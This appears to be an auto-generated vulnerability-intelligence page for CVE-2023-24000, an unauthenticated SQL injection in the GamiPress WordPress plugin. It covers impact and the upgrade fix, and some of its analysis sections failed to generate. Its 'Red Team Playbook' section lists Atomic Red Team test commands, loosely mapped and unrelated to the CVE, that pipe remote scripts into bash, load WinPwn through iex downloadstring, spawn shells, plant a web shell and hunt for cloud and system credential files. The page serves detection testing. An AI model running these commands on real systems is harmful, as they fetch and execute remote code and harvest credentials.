CVE-2023-24000
Overview
This vulnerability is a SQL Injection flaw caused by improper neutralization of special elements in SQL commands within the GamiPress WordPress plugin. The root cause lies in unsanitized user input being directly incorporated into SQL queries without adequate parameterization or escaping. The affected component is the GamiPress plugin versions up to and including 2.5.7, which fails to properly validate inputs used in database queries.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in GamiPress gamipress allows SQL Injection.This issue affects GamiPress: from n/a through 2.5.7.
Impact
An attacker can exploit this vulnerability without authentication or user interaction to execute arbitrary SQL queries on the backend database. This can lead to unauthorized disclosure of sensitive information stored in the database or partial disruption of service due to database manipulation. The ability to run crafted SQL commands may allow attackers to access or modify data beyond their privileges, potentially impacting the confidentiality and integrity of the affected system.
Solution
Upgrade the GamiPress plugin to version 2.5.8 or later, as released by the vendor to address this vulnerability. Detailed patch instructions and version updates are available at Patchstack's advisory page: https://patchstack.com/database/vulnerability/gamipress/wordpress-gamipress-plugin-2-5-7-unauthenticated-sql-injection-vulnerability?_s_id=cve. No alternative workarounds have been specified by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability present in the GamiPress plugin for WordPress is characterized by improper neutralization of special elements within SQL commands, commonly known as SQL Injection. This type of vulnerability arises when user inputs are not adequately sanitized before being incorporated into SQL queries. In the case of GamiPress, the flaw allows an attacker to manipulate SQL queries by injecting malicious SQL code through input fields. This can lead to unauthorized access to the database, enabling attackers to retrieve, modify, or delete sensitive information. The affected versions of GamiPress range from the initial release up to version 2.5.7, making a significant number of installations potentially vulnerable.
Attack vectors for exploiting this vulnerability are varied and can be executed through multiple entry points within the application. An attacker could leverage forms, URL parameters, or any other input mechanism that interacts with the database. For instance, if an attacker submits specially crafted input in a form field that is directly used in an SQL query without proper validation or escaping, they can manipulate the query to extract sensitive data or execute administrative operations. Exploitation scenarios could include retrieving user credentials, modifying user roles, or even executing arbitrary commands on the database server, thereby escalating the attack to a more severe level.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on GamiPress for gamification features within their WordPress sites. The potential for data breaches can lead to severe business risks, including loss of customer trust, legal ramifications, and financial losses. Organizations may face regulatory scrutiny if sensitive user data is compromised, especially in jurisdictions with strict data protection laws. Additionally, the reputational damage from a successful attack can have long-lasting effects, as customers may be hesitant to engage with a platform that has previously suffered a security breach.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the GamiPress plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Employing web application firewalls (WAFs) can help filter out malicious input before it reaches the application. Furthermore, conducting regular security assessments and penetration testing can identify potential weaknesses in the application’s input handling. Developers should also adopt secure coding practices, such as using prepared statements and parameterized queries, to prevent SQL injection vulnerabilities from being introduced in the first place.
In conclusion, the SQL Injection vulnerability in the GamiPress plugin poses a serious threat to the security of WordPress installations utilizing this tool. The ease of exploitation and the potential for significant impact underscore the necessity for immediate action to secure affected systems. By prioritizing timely updates, employing robust security measures, and fostering a culture of secure coding practices, organizations can mitigate the risks associated with this vulnerability and protect their data integrity and customer trust.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Gamipress | Gamipress | All |
cpe:2.3:a:gamipress:gamipress:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-24000 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/gamipress/wordpress-gamipress-plugin-2-5-7-unauthenticated-sql-injection-vulnerability?_s_id=cve |